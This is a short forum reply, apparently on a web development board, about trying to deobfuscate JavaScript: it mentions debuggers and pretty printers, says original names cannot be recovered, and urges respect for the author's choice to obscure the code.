Ah, obfuscated code.

What does it do? Why are you trying to deobfuscate it? Stealing it? :mrgreen:

You could try JS debuggers or 'pretty printers' but ... there is no perfect way to deobfuscate code, you have to try your hand manually at it reading and implementing what you think should be there. A better way would be to build the same function in a neat manner and compare, and keep fixing until you have the completed code yourself.

You can get back at most the library functions used but never the actual variable names or function names used. Its largely unlikely. Why do you wish to do this? You should respect the code author's desire, he doesn't want you to read, and thats why he's chosen to obfuscate it. Many sites do this to their webpage generating scripts. Helps avoid attacks and keeps the technology safe. :)

You can still attempt to prettify it, actually thats more than enough, you can (atleast) halfway understand how it works. See that link I'd given above.
